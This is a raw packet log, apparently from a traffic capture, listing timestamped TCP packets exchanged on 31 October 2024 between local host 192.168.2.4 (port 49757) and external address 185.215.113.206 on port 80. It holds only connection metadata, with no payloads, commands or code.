Oct 31, 2024 11:27:24.739015102 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739041090 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739070892 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739082098 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739094973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739118099 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739144087 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739295959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739310026 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739330053 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739342928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739356041 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739368916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739381075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739392042 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739393950 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739402056 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739407063 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739414930 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739423037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739437103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739439011 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739448071 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739476919 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739527941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739598036 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739624977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739636898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739648104 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739660978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739672899 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739679098 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739686966 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739701033 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739722967 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739742994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739895105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739908934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739921093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739933014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739943981 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739950895 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739959002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739973068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739978075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.739984989 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.739990950 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740004063 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740029097 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740053892 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740185976 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740199089 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740209103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740221024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740232944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740245104 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740247011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740261078 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740272999 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740277052 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740287066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740297079 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740300894 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740328074 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740348101 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740549088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740561962 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740571976 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740585089 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740597963 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740603924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740608931 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740619898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740629911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740643978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740643024 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740643024 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740664005 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740670919 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740678072 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740691900 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740703106 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740715027 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740717888 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740717888 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740729094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740741968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740751028 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740753889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740767002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740780115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740787983 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740792036 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.740797043 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.740848064 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741220951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741238117 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741251945 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741264105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741278887 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741280079 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741327047 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741327047 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741430998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741444111 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741456032 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741466999 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741478920 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741492987 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741499901 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741511106 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741524935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741549015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741549015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741549015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741575956 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741590023 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741823912 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741837025 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741848946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741859913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741872072 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741879940 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741884947 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741899014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741908073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741911888 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741921902 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741926908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741939068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741945982 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741954088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741966009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741975069 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.741981030 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.741991043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.742000103 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.742010117 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.742046118 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855408907 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855449915 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855463028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855475903 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855483055 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855495930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855506897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855521917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855530977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855530977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855530977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855535984 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855562925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855581045 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855592012 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855628967 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855698109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855710983 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855721951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855735064 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855736017 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855748892 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855756044 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855761051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855773926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855776072 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855803967 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855819941 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855907917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855918884 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855930090 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855942965 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855952978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.855957985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855977058 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.855986118 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856003046 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856029034 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856039047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856050968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856069088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856079102 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856080055 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856087923 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856101036 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856126070 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856141090 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856288910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856302977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856314898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856328964 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856349945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856420994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856431961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856441975 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856455088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856461048 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856467962 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856481075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856492996 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856492996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856506109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856517076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856523991 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856530905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856545925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856548071 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856559038 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856573105 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856594086 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856728077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856740952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856766939 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856807947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856842041 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856853962 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856863976 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856877089 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856882095 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856889963 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856901884 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.856913090 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856930017 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.856960058 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857105017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857116938 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857127905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857140064 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857141972 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857153893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857167006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857168913 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857178926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857191086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857198000 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857203960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857218027 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857342005 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857392073 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857403994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857414961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857426882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857429981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857446909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857459068 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857460976 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857474089 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857485056 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857485056 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857492924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857506037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857518911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857532024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857558966 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857605934 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857758045 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857769966 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857781887 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857794046 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857795000 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857808113 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857812881 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857820988 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857834101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857835054 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857846975 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857860088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.857863903 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857888937 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.857909918 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858053923 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858066082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858077049 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858088970 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858095884 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858102083 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858114958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858127117 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858134985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858141899 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858149052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858163118 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858169079 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858175039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858187914 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858196020 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858201027 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858215094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858221054 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858227968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858239889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858239889 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858268023 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858292103 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858688116 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858714104 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858725071 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858737946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858738899 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858751059 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858760118 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858767033 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858781099 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858788013 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858793974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858805895 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858808994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858822107 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858834028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858839035 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858850002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858861923 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858864069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858875036 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858879089 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858889103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858902931 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858911991 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858921051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.858941078 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.858952999 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.859153032 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859165907 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859179020 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859191895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859194040 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.859204054 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859216928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859224081 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.859229088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859249115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859251022 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.859263897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859270096 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.859277010 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859289885 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859297037 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.859302044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859322071 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.859325886 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.859342098 CET	80	49757	185.215.113.206	192.168.2.4
